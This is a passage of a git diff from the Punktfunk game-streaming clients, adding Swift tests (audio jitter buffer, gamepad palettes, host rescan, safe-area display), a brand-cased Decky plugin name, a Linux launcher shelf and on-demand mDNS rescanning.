* perMS) + func write(ms: Int) { + feed.withUnsafeBufferPointer { ring.write($0.baseAddress!, count: ms * perMS) } + } + func read() { + scratch.withUnsafeMutableBufferPointer { ring.read(into: $0.baseAddress!, count: want) } + } + XCTAssertEqual(ring.stats.targetMS, 20, "base target must match JitterTuning.COREAUDIO") + + // Prime, drain dry, then alternate starve/refill: each dry read is a genuine underrun, + // each full read in between keeps the de-prime hysteresis from tripping. + write(ms: 25) + for _ in 0..<5 { read() } // drains to zero + read() // short — underrun 1 + write(ms: 5); read() // full — hysteresis reset + read() // short — underrun 2 + write(ms: 5); read() // full + read() // short — underrun 3 → the floor grows one step + XCTAssertEqual(ring.stats.targetMS, 30, "3 clustered underruns must grow the target 10 ms") + XCTAssertEqual(ring.stats.underruns, 3) + + // A long clean run (30 s of consumed audio) relaxes the growth back to the base… + for _ in 0..<(30_000 / 5 + 10) { + write(ms: 5) + read() + } + XCTAssertEqual(ring.stats.targetMS, 20, "a quiet spell must give the growth back") + // …and stays there: quiet forever never dips below the base. + for _ in 0..<(30_000 / 5 + 10) { + write(ms: 5) + read() + } + XCTAssertEqual(ring.stats.targetMS, 20, "the floor must never go below the base target") + } + + /// Growth is capped at `maxTargetMS`, exactly like `JitterPolicy` respects + /// `JitterTuning.max_target_ms`. + func testTargetGrowthRespectsTheCap() { + let ring = AudioRing(capacity: 48_000 * channels, channels: channels) + let want = 5 * perMS + var scratch = [Float](repeating: 0, count: want) + let feed = [Float](repeating: 0.5, count: 25 * perMS) + feed.withUnsafeBufferPointer { ring.write($0.baseAddress!, count: 25 * perMS) } + // Starve it far past what six growth steps (20 → 70) would need. + for _ in 0..<40 { + for _ in 0..<5 { + scratch.withUnsafeMutableBufferPointer { + ring.read(into: $0.baseAddress!, count: want) + } + } + feed.withUnsafeBufferPointer { ring.write($0.baseAddress!, count: 25 * perMS) } + } + XCTAssertLessThanOrEqual(ring.stats.targetMS, 70, "growth must respect maxTargetMS") + } + + /// THE field scenario: Wi-Fi power-save bunches arrivals — audio is produced steadily but + /// delivered in bursts, some of them late. A fixed 20 ms target crackles on every late burst + /// forever; the adaptive floor must deepen until the bunching rides through, and the tail of + /// the session must be silence-free. + func testWifiBunchingConvergesToSilenceFree() { + let ring = AudioRing(capacity: 48_000 * channels, channels: channels) + let want = 5 * perMS + var scratch = [Float](repeating: 0, count: want) + var pending = 0 // ms produced by the host but still "in flight" + var burst = 0 + var silentTail = 0 + let steps = 4000 // 20 s in 5 ms callbacks + let feed = [Float](repeating: 0.5, count: 200 * perMS) + for step in 0..= 60 { + // The held burst lands, together with everything produced since. + feed.withUnsafeBufferPointer { + ring.write($0.baseAddress!, count: pending * perMS) + } + pending = 0 + } + scratch.withUnsafeMutableBufferPointer { ring.read(into: $0.baseAddress!, count: want) } + if step >= steps - 600, scratch.allSatisfy({ $0 == 0 }) { silentTail += 1 } + } + XCTAssertGreaterThanOrEqual( + ring.stats.targetMS, 30, + "bunched delivery must have grown the target floor") + XCTAssertEqual( + silentTail, 0, + "after adapting, the last 3 s must play through the bunching without a dropout") + } } #endif diff --git a/clients/apple/Tests/PunktfunkKitTests/GamepadPaletteTests.swift b/clients/apple/Tests/PunktfunkKitTests/GamepadPaletteTests.swift new file mode 100644 index 00000000..2a5f7b28 --- /dev/null +++ b/clients/apple/Tests/PunktfunkKitTests/GamepadPaletteTests.swift @@ -0,0 +1,110 @@ +// The gamepad UI's background palettes. These assertions are the CONTRACT the Rust +// (`pf-console-ui::library`) and Kotlin (`GamepadPalette.kt`) ports reproduce — the same ids in +// the same order, the same light/dark split, the same ramp — so one `ui_palette` value is one look +// on every client. + +import XCTest +import simd +@testable import PunktfunkShared + +final class GamepadPaletteTests: XCTestCase { + private func luma(_ c: SIMD3) -> Double { + 0.2126 * c.x + 0.7152 * c.y + 0.0722 * c.z + } + + /// Hue angle in degrees, or nil for something too grey to have one. + private func hue(_ c: SIMD3) -> Double? { + let maxV = max(c.x, c.y, c.z) + let minV = min(c.x, c.y, c.z) + let d = maxV - minV + guard d >= 0.04 else { return nil } + let h: Double + if maxV == c.x { + h = 60 * (((c.y - c.z) / d).truncatingRemainder(dividingBy: 6)) + } else if maxV == c.y { + h = 60 * ((c.z - c.x) / d + 2) + } else { + h = 60 * ((c.x - c.y) / d + 4) + } + return (h + 360).truncatingRemainder(dividingBy: 360) + } + + /// The brand default must still be the SHIPPED field, colour for colour. Every install + /// already sees it, and a palette table that quietly restyled the default would be a + /// regression dressed as a feature. + func testVioletIsTheUntouchedShippedField() { + let violet = GamepadPalette.named("violet") + XCTAssertEqual(GamepadPalette.all.first?.id, "violet") + XCTAssertTrue(violet.stops.isEmpty, "the default is the explicit grid") + XCTAssertEqual(violet.meshColors, GamepadPalette.violetMesh) + // An unknown name is a newer client's palette, not an error. + XCTAssertEqual(GamepadPalette.named("chartreuse").id, "violet") + XCTAssertEqual(GamepadPalette.named("").id, "violet") + } + + /// Ids, order and the light/dark split are the cross-client contract. + func testTableMatchesTheOtherClients() { + XCTAssertEqual( + GamepadPalette.all.map(\.id), + ["violet", "nebula", "abyss", "ember", "moss", "graphite", + "holo", "sunset", "bloom", "dawn", "mint", "opal"]) + // Dark fields lead, pale ones follow, so stepping the row walks one direction. + let firstLight = GamepadPalette.all.firstIndex { $0.light } + XCTAssertEqual(firstLight, 6) + XCTAssertTrue(GamepadPalette.all.dropFirst(6).allSatisfy(\.light)) + } + + /// A palette must read as SEVERAL hues, not one hue at several brightnesses — that was + /// exactly the complaint about the hue-rotation model this replaced. + func testEveryPaletteIsMultiTone() { + for p in GamepadPalette.all { + let hues = p.meshColors.compactMap(hue) + XCTAssertGreaterThanOrEqual(hues.count, 8, "\(p.id): too few coloured cells") + var spread = 0.0 + for a in hues { + for b in hues { + let d = abs(a - b).truncatingRemainder(dividingBy: 360) + spread = max(spread, min(d, 360 - d)) + } + } + // Graphite and Opal are deliberately near-neutral; the rest must travel. + let floor = (p.id == "graphite" || p.id == "opal") ? 20.0 : 45.0 + XCTAssertGreaterThanOrEqual(spread, floor, "\(p.id) spans only \(spread)° of hue") + } + } + + /// Every colour stays in gamut, and a pale palette really is pale — its ink flips, so a + /// mislabelled one would put dark text on a dark field. + func testPalettesAreInGamutAndHonestAboutLightness() { + for p in GamepadPalette.all { + for c in p.meshColors + p.blobColors { + for v in [c.x, c.y, c.z] { + XCTAssertTrue((0...1).contains(v), "\(p.id) \(c)") + } + } + let mean = p.meshColors.map(luma).reduce(0, +) / Double(p.meshColors.count) + if p.light { + XCTAssertGreaterThan(mean, 0.5, "\(p.id) is flagged light") + XCTAssertGreaterThan(luma(p.ground), 0.6, "\(p.id)'s ground is dark") + XCTAssertLessThan(luma(p.accent), 0.45, "\(p.id)'s accent is too pale") + } else { + XCTAssertLessThan(mean, 0.45, "\(p.id) is flagged dark") + XCTAssertLessThan(luma(p.ground), 0.2, "\(p.id)'s ground is light") + XCTAssertGreaterThan(luma(p.accent), 0.25, "\(p.id)'s accent is too dark") + } + } + } + + /// The ramp is the shared sampling rule the Rust and Kotlin ports reproduce. + func testRampInterpolatesBetweenStops() { + let stops = [SIMD3(0.0, 0.0, 0.0), SIMD3(1.0, 0.0, 0.0), SIMD3(1.0, 1.0, 1.0)] + XCTAssertEqual(GamepadPalette.ramp(stops, 0), SIMD3(0.0, 0.0, 0.0)) + XCTAssertEqual(GamepadPalette.ramp(stops, 1), SIMD3(1.0, 1.0, 1.0)) + XCTAssertEqual(GamepadPalette.ramp(stops, 0.5), SIMD3(1.0, 0.0, 0.0)) + XCTAssertEqual(GamepadPalette.ramp(stops, 0.25).x, 0.5, accuracy: 1e-9) + // Out of range clamps rather than trapping. + XCTAssertEqual(GamepadPalette.ramp(stops, -3), SIMD3(0.0, 0.0, 0.0)) + XCTAssertEqual(GamepadPalette.ramp(stops, 9), SIMD3(1.0, 1.0, 1.0)) + XCTAssertEqual(GamepadPalette.ramp([], 0.5), SIMD3(0.0, 0.0, 0.0)) + } +} diff --git a/clients/apple/Tests/PunktfunkKitTests/HostDiscoveryTests.swift b/clients/apple/Tests/PunktfunkKitTests/HostDiscoveryTests.swift index c8b58346..59db6ff3 100644 --- a/clients/apple/Tests/PunktfunkKitTests/HostDiscoveryTests.swift +++ b/clients/apple/Tests/PunktfunkKitTests/HostDiscoveryTests.swift @@ -50,5 +50,21 @@ final class HostDiscoveryTests: XCTestCase { XCTAssertEqual(host.fingerprintHex, String(repeating: "ab", count: 32)) XCTAssertFalse(host.host.isEmpty, "a resolved address is required to connect") XCTAssertGreaterThan(host.port, 0, "a resolved port is required to connect") + + // A rescan tears the browser down and re-arms it (the only way past the iOS local-network + // permission gate without relaunching). The host must come BACK — `refresh()` cancels every + // in-flight resolve and invalidates the previous generation's callbacks, so a re-arm that + // failed to re-drive them would leave the list permanently empty. + await discovery.rescan() + var reappeared = false + let rescanDeadline = Date().addingTimeInterval(10) + while Date() < rescanDeadline { + if await discovery.hosts.contains(where: { $0.id == uniqueid }) { + reappeared = true + break + } + try await Task.sleep(nanoseconds: 200_000_000) + } + XCTAssertTrue(reappeared, "a rescan must re-find a host that is still advertising") } } diff --git a/clients/apple/Tests/PunktfunkKitTests/SafeDisplayTests.swift b/clients/apple/Tests/PunktfunkKitTests/SafeDisplayTests.swift new file mode 100644 index 00000000..74f67c8f --- /dev/null +++ b/clients/apple/Tests/PunktfunkKitTests/SafeDisplayTests.swift @@ -0,0 +1,74 @@ +// The safe-area stream mode (SafeDisplay), as pure geometry: Moonlight's formula — full native +// height, width reduced by the left+right safe insets — plus the host's dimension rules (even, and +// never under 320×200) and the landscape-inset resolution that makes the row correct even when the +// settings screen it is rendered on is currently portrait. + +import XCTest + +import PunktfunkShared +@testable import PunktfunkKit + +final class SafeDisplayTests: XCTestCase { + func testLandscapeUsesTheHorizontalInsets() { + // Landscape: the housing is on a side and iOS symmetrizes the two, so either one is the + // per-side inset. + XCTAssertEqual( + SafeDisplay.sideInsetPoints(left: 59, right: 59, top: 0, isPhone: true), 59) + // Asymmetric (or mid-rotation) readings reduce to the larger — never under-inset. + XCTAssertEqual( + SafeDisplay.sideInsetPoints(left: 0, right: 44, top: 0, isPhone: true), 44) + } + + func testPortraitFallsBackToTheHousingTopInset() { + // Portrait on a notched phone: left/right are zero and the housing sits on `top`. Reading + // the horizontal insets here would compute "no inset" for exactly the devices that need one, + // so the portrait top inset stands in — it is the same physical intrusion. + XCTAssertEqual( + SafeDisplay.sideInsetPoints(left: 0, right: 0, top: 59, isPhone: true), 59) + // A plain status bar is not a housing: an iPad (or a pre-notch iPhone) must not fabricate an + // inset for a device with nothing to route around. + XCTAssertEqual( + SafeDisplay.sideInsetPoints(left: 0, right: 0, top: 24, isPhone: true), 0) + XCTAssertEqual( + SafeDisplay.sideInsetPoints(left: 0, right: 0, top: 59, isPhone: false), 0) + } + + func testModeInsetsWidthOnlyAndKeepsFullHeight() { + // A Dynamic Island phone: 2556×1179 native, 59 pt per side at nativeScale 3 → 177 px per + // side, 354 px total. Height is untouched — under aspect-fit only the horizontal axis binds. + let m = SafeDisplay.mode( + nativeWidth: 2556, nativeHeight: 1179, sideInsetPoints: 59, scale: 3) + XCTAssertEqual(m.width, 2202, "2556 − 2×177") + XCTAssertEqual(m.height, 1178, "odd native heights even-floor") + // The safe mode must be NARROWER than native, or it would still fill the housing. + XCTAssertLessThan(m.width, 2556) + } + + func testNoHousingYieldsTheNativeModeSoTheRowDedups() { + // Zero inset ⇒ identical to native (bar the even-floor). `resolutionModes` dedups by + // dimensions, so this is what makes the extra row vanish on a device that has no housing + // rather than showing a pointless duplicate. + let m = SafeDisplay.mode( + nativeWidth: 2360, nativeHeight: 1640, sideInsetPoints: 0, scale: 2) + XCTAssertEqual(m.width, 2360) + XCTAssertEqual(m.height, 1640) + } + + func testResultIsAlwaysHostValid() { + // Odd widths even-floor: `validate_dimensions` rejects odd outright, and an inset + // subtraction lands odd about half the time. + let odd = SafeDisplay.mode( + nativeWidth: 2001, nativeHeight: 1001, sideInsetPoints: 0, scale: 1) + XCTAssertEqual(odd.width % 2, 0) + XCTAssertEqual(odd.height % 2, 0) + // An absurd inset can't drive the mode under the host's floor. + let tiny = SafeDisplay.mode( + nativeWidth: 1280, nativeHeight: 720, sideInsetPoints: 5000, scale: 3) + XCTAssertEqual(tiny.width, SafeDisplay.minWidth) + XCTAssertEqual(tiny.height, 720) + // A negative inset is treated as none rather than widening past the panel. + let neg = SafeDisplay.mode( + nativeWidth: 1280, nativeHeight: 720, sideInsetPoints: -40, scale: 3) + XCTAssertEqual(neg.width, 1280) + } +} diff --git a/clients/decky/LICENSE b/clients/decky/LICENSE index f42d1f92..18796f0e 100644 --- a/clients/decky/LICENSE +++ b/clients/decky/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2026 unom +Copyright (c) 2026 unom - Enrico Bühler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/clients/decky/plugin.json b/clients/decky/plugin.json index 9f179723..dc6a5f77 100644 --- a/clients/decky/plugin.json +++ b/clients/decky/plugin.json @@ -1,5 +1,5 @@ { - "name": "punktfunk", + "name": "Punktfunk", "author": "enrico", "flags": ["debug"], "api_version": 1, diff --git a/clients/decky/scripts/deploy.sh b/clients/decky/scripts/deploy.sh index 2d3eb202..db004de3 100755 --- a/clients/decky/scripts/deploy.sh +++ b/clients/decky/scripts/deploy.sh @@ -12,7 +12,9 @@ set -euo pipefail HERE="$(cd "$(dirname "$0")/.." && pwd)" DECK="${DECK:?set DECK=deck@}" -NAME="$(python3 -c 'import json;print(json.load(open("'"$HERE"'/plugin.json"))["name"])')" +# The on-disk plugin DIR (what scripts/package.sh staged into out/), not plugin.json "name" — +# that field is the brand-cased label Decky shows in its plugin list. See package.sh's header. +NAME=punktfunk STAGE_LOCAL="$HERE/out/$NAME" [ -d "$STAGE_LOCAL" ] || { echo "$STAGE_LOCAL missing — run scripts/package.sh first" >&2; exit 1; } diff --git a/clients/decky/scripts/package.sh b/clients/decky/scripts/package.sh index 9c07cf12..6e517563 100755 --- a/clients/decky/scripts/package.sh +++ b/clients/decky/scripts/package.sh @@ -5,9 +5,13 @@ # package.json,decky.pyi,LICENSE,README.md} # out/punktfunk/ (the same tree, unzipped — rsync this with scripts/deploy.sh) # -# Decky extracts the zip with --strip-components=1, so the single top-level dir MUST equal -# plugin.json "name". Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs -# only bash, python3 and zip. +# The single top-level dir is the plugin's ON-DISK folder name (Decky extracts the zip as-is, +# so the dir in the zip becomes ~/homebrew/plugins/). It is deliberately NOT read from +# plugin.json "name": that field is the user-visible label ("Punktfunk", brand-cased, shown in +# Decky's plugin list) and Decky locates an installed plugin by MATCHING it, never by the folder +# name. Keeping the folder lowercase means a rename of the label can't strand the old directory +# next to a new one (which would show up as two plugins). +# Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs only bash, python3 and zip. set -euo pipefail HERE="$(cd "$(dirname "$0")/.." && pwd)" cd "$HERE" @@ -15,7 +19,7 @@ cd "$HERE" [ -f dist/index.js ] || { echo "dist/index.js missing — run 'pnpm build' first" >&2; exit 1; } [ -f LICENSE ] || { echo "LICENSE missing (required by the Decky store)" >&2; exit 1; } -NAME="$(python3 -c 'import json;print(json.load(open("plugin.json"))["name"])')" +NAME=punktfunk # the on-disk plugin dir (see the header) — NOT plugin.json "name" VER="$(python3 -c 'import json;print(json.load(open("package.json"))["version"])')" STAGE="$(mktemp -d)" diff --git a/clients/decky/src/hooks.ts b/clients/decky/src/hooks.ts index 0c1911dc..7c7c4c7d 100644 --- a/clients/decky/src/hooks.ts +++ b/clients/decky/src/hooks.ts @@ -122,6 +122,25 @@ function advertMatchesSaved(a: DiscoveredHost, s: SavedHost): boolean { ); } +/** + * The label a saved row shows. + * + * A saved record whose name IS its own address is a PLACEHOLDER, not a choice: `hosts add` + * falls back to the address when the pairing path had nothing better, so the row ends up + * captioned with the same string it already prints underneath. When the box is on the air it + * is advertising its actual hostname — prefer that, and the row reads "home-worker-5" instead + * of "192.168.1.21". + * + * A real saved name always wins over the advert, even a stale one: it may be a name the user + * chose, and a live advert must never quietly overwrite that. Compared against the SAVED + * address, so a host that moved DHCP lease still recognises its old address as a placeholder. + */ +function hostLabel(s: SavedHost, advert?: DiscoveredHost): string { + const placeholder = !s.name || s.name === s.addr || s.name === `${s.addr}:${s.port}`; + if (!placeholder) return s.name; + return advert?.name || s.name || s.addr; +} + /** * Join the saved store and the live browse into the rows the panel draws. * @@ -134,7 +153,7 @@ export function mergeHosts(saved: SavedHost[], discovered: DiscoveredHost[]): Ho // Prefer a live advert's address: the host may have moved since it was last saved. const advert = discovered.find((a) => advertMatchesSaved(a, s)); return { - name: s.name || s.addr, + name: hostLabel(s, advert), addr: advert?.addr ?? s.addr, port: advert?.port ?? s.port, fp: s.fp_hex, @@ -387,7 +406,10 @@ export async function applyUpdate( // before any result could arrive — so never await it. Decky shows its own confirm prompt. void backend.callable("utilities/install_plugin")( info.artifact, - "punktfunk", + // The name Decky uninstalls before extracting the new zip — it locates the folder by + // matching plugin.json "name", so this must equal THIS build's plugin.json name (the + // brand-cased one), not the lowercase on-disk dir. + "Punktfunk", info.latest, info.hash, INSTALL_TYPE_UPDATE, diff --git a/clients/decky/src/index.tsx b/clients/decky/src/index.tsx index 24c5e180..e5ec1d6b 100644 --- a/clients/decky/src/index.tsx +++ b/clients/decky/src/index.tsx @@ -337,9 +337,11 @@ export default definePlugin(() => { // controller config. Fire-and-forget: cosmetic library upkeep must never block plugin load. void ensureGamepadUiShortcut(); return { - // `name` is the plugin's INTERNAL id — it must stay in sync with plugin.json (the loader - // keys plugins by it), so it stays lowercase; user-facing strings say "Punktfunk". - name: "punktfunk", + // `name` must stay in sync with plugin.json (the loader keys plugins by it) — and it is + // USER-VISIBLE: Decky labels the entry in its plugin list with it, so it carries the brand + // case. Decky finds an installed plugin by matching plugin.json "name" (never the folder + // name), so this is independent of the on-disk dir, which stays lowercase `punktfunk`. + name: "Punktfunk", // `staticClasses?.Title` is guarded so a future client that drops the export can't throw // at plugin-load time (an error boundary only catches render-time, not load-time, errors). titleView:
Punktfunk
, diff --git a/clients/decky/src/steam.ts b/clients/decky/src/steam.ts index 26f1fcac..176808bc 100644 --- a/clients/decky/src/steam.ts +++ b/clients/decky/src/steam.ts @@ -70,9 +70,18 @@ declare const appStore: * entry from a false "missing". A confident null means the shortcut was deleted → recreate. */ function shortcutStillExists(appId: number): boolean { try { - const get = appStore?.GetAppOverviewByAppID; - if (!get) return true; // no way to verify — preserve the reuse path - return get(appId) != null; + // Call it as a METHOD on appStore — NEVER as an extracted function. Its implementation + // reads the store's own state (`this.m_mapApps`), so `const get = appStore.GetAppOverview…; + // get(id)` throws on the lost `this`, and the catch below turns that into a permanent + // "true". That is not a stale-data bug but a total one: the guard then answers "still + // exists" for EVERY appId, so a dangling id is never dropped, the reuse path repoints a + // dead shortcut (silent no-ops), and "recreate" reports success having done nothing. + // `typeof` first: `appStore` is a Steam-injected global, and a bare reference to a missing + // one is a ReferenceError that optional chaining does NOT prevent. + if (typeof appStore === "undefined" || !appStore?.GetAppOverviewByAppID) { + return true; // no way to verify — preserve the reuse path + } + return appStore.GetAppOverviewByAppID(appId) != null; } catch { return true; } diff --git a/clients/linux/src/app.rs b/clients/linux/src/app.rs index 6d23c499..a75bf9de 100644 --- a/clients/linux/src/app.rs +++ b/clients/linux/src/app.rs @@ -61,6 +61,13 @@ const CSS: &str = " .pf-poster { border-radius: 10px; background: alpha(currentColor, 0.08); } .pf-poster-monogram { font-size: 2.4em; font-weight: bold; color: alpha(currentColor, 0.45); } .pf-store-badge { color: white; background: rgba(0, 0, 0, 0.55); } +/* Launcher entries (design D4) open the launcher itself. They rarely have poster art, so an + art-less one must not read as a game whose cover failed to load: accent face, the launcher + named instead of a title monogram, and an accent badge. */ +.pf-poster.pf-launcher { background: alpha(@accent_color, 0.18); } +.pf-poster-launcher-name { font-size: 1.15em; font-weight: bold; color: alpha(currentColor, 0.85); } +.pf-store-badge.pf-launcher { color: white; background: @accent_color; } +.pf-group-heading { font-size: 0.8em; font-weight: bold; color: alpha(currentColor, 0.55); } "; /// Everything the shell shares below the component tree. diff --git a/clients/linux/src/cli.rs b/clients/linux/src/cli.rs index f4729d00..2ab415d9 100644 --- a/clients/linux/src/cli.rs +++ b/clients/linux/src/cli.rs @@ -204,10 +204,18 @@ pub fn headless_library(target: &str) -> glib::ExitCode { }); match crate::library::fetch_games(&addr, port, &identity, pin) { Ok(games) => { + // A fourth column, appended: `game` or `launcher` (design D4). Appended rather than + // folded into an existing field so anything reading the first three columns is + // untouched. for g in &games { - println!("{}\t{}\t{}", g.id, g.store, g.title); + let role = if g.is_launcher() { "launcher" } else { "game" }; + println!("{}\t{}\t{}\t{}", g.id, g.store, g.title, role); + } + let launchers = games.iter().filter(|g| g.is_launcher()).count(); + match launchers { + 0 => println!("{} game(s)", games.len()), + n => println!("{} game(s), {} launcher(s)", games.len() - n, n), } - println!("{} game(s)", games.len()); glib::ExitCode::SUCCESS } Err(e) => { @@ -773,6 +781,7 @@ fn mock_library() -> ( title: title.to_string(), art: crate::library::Artwork::default(), platform: None, + role: None, }; let games = vec![ game("steam:570", "steam", "Dota 2"), diff --git a/clients/linux/src/ui_hosts.rs b/clients/linux/src/ui_hosts.rs index b1da11fd..e40a0894 100644 --- a/clients/linux/src/ui_hosts.rs +++ b/clients/linux/src/ui_hosts.rs @@ -674,6 +674,9 @@ pub struct HostsPage { saved: FactoryVecDeque, discovered: FactoryVecDeque, widgets: PageWidgets, + /// Forces the mDNS browse to re-query (the header's Refresh button). `None` only if the + /// browse never started — the button then just re-renders, which is what it did before. + rescan: Option, } struct PageWidgets { @@ -693,6 +696,10 @@ pub enum HostsMsg { }, /// Reload the disk store and re-render (fresh pairings, renames, the library gate). Refresh, + /// Re-query mDNS *and* re-render — the header's Refresh button. Distinct from [`Self::Refresh`], + /// which only re-reads local state: after a while `mdns-sd` re-queries about once an hour, so a + /// host that appeared since (or whose announcement was lost) needs an actual query to show up. + Rescan, /// A completed reachability sweep: saved-host key → reachable. Merged into the online pips. Probed(HashMap), /// Mark the card matching `ConnectRequest::card_key` as connecting; `None` restores. @@ -841,6 +848,13 @@ impl SimpleComponent for HostsPage { add_host_btn.set_tooltip_text(Some("Add host")); add_host_btn.set_action_name(Some("win.add-host")); header.pack_start(&add_host_btn); + let rescan_btn = gtk::Button::from_icon_name("view-refresh-symbolic"); + rescan_btn.set_tooltip_text(Some("Scan the network for hosts again")); + { + let sender = sender.clone(); + rescan_btn.connect_clicked(move |_| sender.input(HostsMsg::Rescan)); + } + header.pack_start(&rescan_btn); let menu = gio::Menu::new(); menu.append(Some("Preferences"), Some("win.preferences")); menu.append(Some("Keyboard Shortcuts"), Some("win.shortcuts")); @@ -867,8 +881,8 @@ impl SimpleComponent for HostsPage { } // Stream mDNS adverts into the model; every add/remove re-evaluates both grids. + let (rx, rescan) = discovery::browse(); { - let rx = discovery::browse(); let sender = sender.clone(); glib::spawn_future_local(async move { while let Ok(event) = rx.recv().await { @@ -937,6 +951,7 @@ impl SimpleComponent for HostsPage { disc_heading, searching, }, + rescan: Some(rescan), }; model.rebuild(); @@ -954,6 +969,14 @@ impl SimpleComponent for HostsPage { self.rebuild(); } HostsMsg::Refresh => self.rebuild(), + HostsMsg::Rescan => { + if let Some(rescan) = &self.rescan { + rescan.request(); + } + // Adverts stream in as they answer; re-render now so the local half is current + // either way. + self.rebuild(); + } HostsMsg::Probed(map) => { self.probed = map; self.rebuild(); diff --git a/clients/linux/src/ui_library.rs b/clients/linux/src/ui_library.rs index 62c278e5..be1d45d7 100644 --- a/clients/linux/src/ui_library.rs +++ b/clients/linux/src/ui_library.rs @@ -28,6 +28,12 @@ struct State { req: ConnectRequest, stack: gtk::Stack, flow: gtk::FlowBox, + /// Launcher entries (design D4) get their own shelf above the games, so a handful of ways to + /// open a launcher aren't buried in a 400-title grid. Hidden outright when there are none. + launcher_flow: gtk::FlowBox, + launchers_group: gtk::Box, + /// The "Games" heading — only earns its space once a Launchers shelf is above it. + games_heading: gtk::Label, error_page: adw::StatusPage, /// Per-page poster cache (entry id → texture) — a Retry re-renders without refetching. art: RefCell>, @@ -94,11 +100,44 @@ fn build( flow.connect_child_activated(|_, child| { child.activate(); }); + // The launcher shelf: same tile geometry as the games grid, its own FlowBox so the two + // groups never interleave and each wraps on its own. + let launcher_flow = gtk::FlowBox::builder() + .selection_mode(gtk::SelectionMode::None) + .activate_on_single_click(true) + .homogeneous(true) + .min_children_per_line(2) + .max_children_per_line(6) + .column_spacing(12) + .row_spacing(18) + .valign(gtk::Align::Start) + .build(); + launcher_flow.connect_child_activated(|_, child| { + child.activate(); + }); + let launchers_heading = gtk::Label::new(Some("Launchers")); + launchers_heading.add_css_class("pf-group-heading"); + launchers_heading.set_halign(gtk::Align::Start); + launchers_heading.set_margin_bottom(8); + let launchers_group = gtk::Box::new(gtk::Orientation::Vertical, 0); + launchers_group.append(&launchers_heading); + launchers_group.append(&launcher_flow); + launchers_group.set_margin_bottom(24); + launchers_group.set_visible(false); + + let games_heading = gtk::Label::new(Some("Games")); + games_heading.add_css_class("pf-group-heading"); + games_heading.set_halign(gtk::Align::Start); + games_heading.set_margin_bottom(8); + games_heading.set_visible(false); + let content = gtk::Box::new(gtk::Orientation::Vertical, 0); content.set_margin_top(24); content.set_margin_bottom(24); content.set_margin_start(12); content.set_margin_end(12); + content.append(&launchers_group); + content.append(&games_heading); content.append(&flow); let clamp = adw::Clamp::builder() .maximum_size(1100) @@ -166,6 +205,9 @@ fn build( req, stack, flow, + launcher_flow, + launchers_group, + games_heading, error_page, art: RefCell::new(HashMap::new()), pics: RefCell::new(HashMap::new()), @@ -224,18 +266,41 @@ fn load(state: &Rc) { /// immediately; the rest keep their monogram placeholder until `load_art` delivers. fn render(state: &Rc, games: &[GameEntry]) { state.flow.remove_all(); + state.launcher_flow.remove_all(); state.pics.borrow_mut().clear(); - for game in games { + // Design D4: launchers never interleave with titles. The host already sorts by title, and + // `partition` is stable, so each group keeps that order. + let (launchers, titles): (Vec<&GameEntry>, Vec<&GameEntry>) = + games.iter().partition(|g| g.is_launcher()); + for game in &launchers { + state.launcher_flow.append(&game_card(state, game)); + } + for game in &titles { state.flow.append(&game_card(state, game)); } + // A library with no launcher entries looks exactly as it did before this existed. + state.launchers_group.set_visible(!launchers.is_empty()); + state + .games_heading + .set_visible(!launchers.is_empty() && !titles.is_empty()); } /// One poster tile: 2:3 art (~150×225 logical) over the title, with a store badge and a /// monogram placeholder underneath the async art. Activation starts a session launching /// this title (silent on a pinned host — the normal trust gate applies). fn game_card(state: &Rc, game: &GameEntry) -> gtk::FlowBoxChild { - let monogram = gtk::Label::new(Some(&initials(&game.title))); - monogram.add_css_class("pf-poster-monogram"); + // A launcher usually ships no poster. Naming the launcher on an accent face says "opens + // Steam"; a title monogram on the neutral face would say "a game whose cover didn't load". + let launcher = game.is_launcher(); + let monogram = if launcher { + let l = gtk::Label::new(Some(store_label(&game.store))); + l.add_css_class("pf-poster-launcher-name"); + l + } else { + let l = gtk::Label::new(Some(&initials(&game.title))); + l.add_css_class("pf-poster-monogram"); + l + }; monogram.set_halign(gtk::Align::Center); monogram.set_valign(gtk::Align::Center); let placeholder = gtk::Box::new(gtk::Orientation::Vertical, 0); @@ -252,6 +317,9 @@ fn game_card(state: &Rc, game: &GameEntry) -> gtk::FlowBoxChild { let badge = gtk::Label::new(Some(store_label(&game.store))); badge.add_css_class("pf-pill"); badge.add_css_class("pf-store-badge"); + if launcher { + badge.add_css_class("pf-launcher"); + } badge.set_halign(gtk::Align::Start); badge.set_valign(gtk::Align::Start); badge.set_margin_start(6); @@ -262,6 +330,9 @@ fn game_card(state: &Rc, game: &GameEntry) -> gtk::FlowBoxChild { poster.add_overlay(&pic); poster.add_overlay(&badge); poster.add_css_class("pf-poster"); + if launcher { + poster.add_css_class("pf-launcher"); + } poster.set_overflow(gtk::Overflow::Hidden); poster.set_size_request(150, 225); poster.set_halign(gtk::Align::Center); diff --git a/clients/linux/src/ui_trust.rs b/clients/linux/src/ui_trust.rs index f078462f..791218b4 100644 --- a/clients/linux/src/ui_trust.rs +++ b/clients/linux/src/ui_trust.rs @@ -46,8 +46,13 @@ pub fn wake_and_connect( let sender = sender.clone(); glib::spawn_future_local(async move { use std::time::Duration; - let events = crate::discovery::browse(); + let (events, rescan) = crate::discovery::browse(); let mut wait = WakeWait::new(); + // A waking host starts advertising at a moment we can't predict, and `mdns-sd`'s own + // re-query interval has doubled well past a minute by the time a boot finishes — so ask + // again periodically instead of waiting to be told. Every 5th tick: often enough that a + // host that came up is noticed promptly, rare enough not to hammer multicast. + let mut ticks: u32 = 0; loop { if cancel.get() { waiting.close(); @@ -100,6 +105,10 @@ pub fn wake_and_connect( } None => {} } + ticks += 1; + if ticks % 5 == 0 { + rescan.request(); + } glib::timeout_future(Duration::from_secs(1)).await; } }); diff --git a/clients/session/src/console.rs b/clients/session/src/console.rs index a424d70a..7bd78a70 100644 --- a/clients/session/src/console.rs +++ b/clients/session/src/console.rs @@ -343,6 +343,7 @@ impl Service { probe_inflight: Arc::new(AtomicBool::new(false)), last_probe: Instant::now() - Duration::from_secs(60), wake_cancel: None, + rescan: None, } .run(stop_w) }) @@ -373,11 +374,14 @@ struct ServiceState { last_probe: Instant, /// Cancels the active wake thread (it owns the model's wake status). wake_cancel: Option>, + /// Forces the mDNS browse to re-query. Installed by `run`; `None` before it starts. + rescan: Option, } impl ServiceState { fn run(mut self, stop: Arc) { - let discovery_rx = discovery::browse(); + let (discovery_rx, rescan) = discovery::browse(); + self.rescan = 